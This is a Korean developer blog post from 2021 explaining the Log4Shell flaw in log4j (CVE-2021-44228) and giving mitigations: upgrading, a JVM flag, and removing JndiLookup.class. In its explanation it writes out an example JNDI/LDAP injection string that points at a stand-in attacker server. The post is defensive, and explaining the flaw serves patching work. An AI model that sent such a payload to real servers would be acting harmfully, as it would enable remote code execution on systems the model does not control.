본문 바로가기
Old Posts/Java

[Java] Log4Shell 취약점 - log4j의 CVE-2021-44228 취약점 및 조치방법

by A6K 2021. 12. 13.

지난 주말 전세계 개발자들에게서 주말 휴식을 빼앗아간 취약점이 화제다. 자바 개발자라면 누구나 이름을 들어봤을 log4j의 취약점인 'CVE-2021-44228'에 대한 이야기다. 줄여서 Log4Shell 취약점이라고도 부르는 log4j 취약점과 조치할 수 있는 대응 방법에 대해 알아보자.

log4j 로고

log4j란

log4j는 자바, 스칼라, 코틀린, 그루비 등으로 작성하는 프로그램에서 로그를 남기기 위해 사용하는 오픈소스 라이브러리다. 간편한 사용법과 편리한 기능, 빠른 성능으로 굉장히 광범위하게 쓰이고 있는 로깅 유틸리티다.

이번에 보고된 log4j 취약점이 심각하다는 이유가 바로 너무나도 광범위하게 사용되고 있기 때문이다. 문제가 되는 기능은 log4j 2.0-beta9 버전에 적용되었고, 약 8년 동안 방치되었다. 그 기간동안 전세계 수 많은 프로젝트와 소프트웨어에 사용되었고, 그 소프트웨어들이 잠재적으로 이번 log4j 취약점에 노출되어 있다.

Log4Shell이라고 이름지어진 이번 취약점은 log4j를 통해 '원격코드실행(RCE, Remote Code Execution)'을 가능하게 한다. 즉, 서버에서 공격자가 원하는 코드를 실행하게 해주는 취약점이다.

Log4Shell 취약점 (log4j 취약점)

Log4Shell 취약점은 log4j의 JNDI(Java Name and Directory Interface)를 통해 LDAP(Lightweight Directory Access Protocol)에서 악성코드가 포함된 클래스를 lookup해 실행하는 기능에서 발견되었다.

문제를 일으키는 코드 라인은 굉장히 간단하다.

log.info("payload : {}", payload);

HTTP 요청을 받아서 payload 부분을 로그로 남기는 아무 문제 없어보이는 간단한 코드다.

문제는 공격자가 이런 서버에 "https://service?payload=${jndi:ldap://attackers-ldap-server/a}"와 같은 payload를 담아서 요청을 전송했을때 발생한다. 문제의 log4j 버전에서는 '${jndi:ldap://attackers-ldap-server/a}'이라는 문자열 자체를 로깅하는게 아니라 이 문자열을 해석해서 로깅하려고 시도한다.

 

Log4Shell 취약점

이 요청을 기록하기 위해서 log4j는 attackers-ldap-server에 쿼리를 던진다. 그러면 이미 공격자가 설정해둔 대로 LDAP 서버에서 악성코드를 포함하고 있는 주소를 응답으로 준다.

LDAP 응답을 받은 log4j는 악성코드가 포함되어 있는 attackers-http-server로 자바 클래스 요청을 보내고, 악성코드가 타게 서버로 다운되어 실행된다.

공격자는 LDAP 세팅과 악성 코드를 포함하는 클래스를 담은 서버만 준비해두면 타겟 서버에서 원하는 코드를 실행시킬 수 있다. 그게 정보를 갈취해나가는 것이든 코인 채굴 코드를 돌리는 것이든 말이다.

Log4Shell 해결방법

이 버그는 log4j 버전 2.0-beta9부터 2.14.1까지 버전에서 동작하는 취약점이다. 따라서 가장 좋은 방법은 사용하고 있는 log4j 라이브러리를 2.15.0 이후 최신 버전으로 업그레이드하는 것이다.

간혹 다시 빌드하고 배포하는게 불가능한 경우가 있다. 이 경우 log4j 2.10.0 이후 버전이라면 자바 애플리케이션 구동시 -Dlog4j2.formatMsgNoLookups=true를 설정해서 lookup을 못하게 막는 방법이 있다.

$ zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

log4j 2.10.0 이전 버전의 경우 클래스 패스에서 JndiLookup 클래스를 제거해야한다. log4j-core-*.jar 파일에서 위 명령을 실행해 JndiLookup.class 파일을 제거해주자.

Log4J 1.x 버전들은 Log4Shell 취약점이 심각하게 적용되지는 않았다. 다만 다른 버그들도 픽스되지 않고 있으니 왠만하면 최신 버전으로 업그레이드하는 것을 권장한다고 한다.

직접 작성한 코드도 중요하지만 사용하는 오픈소스들이 문제의 log4j 버전을 사용하고 있는지도 반드시 확인하자.

댓글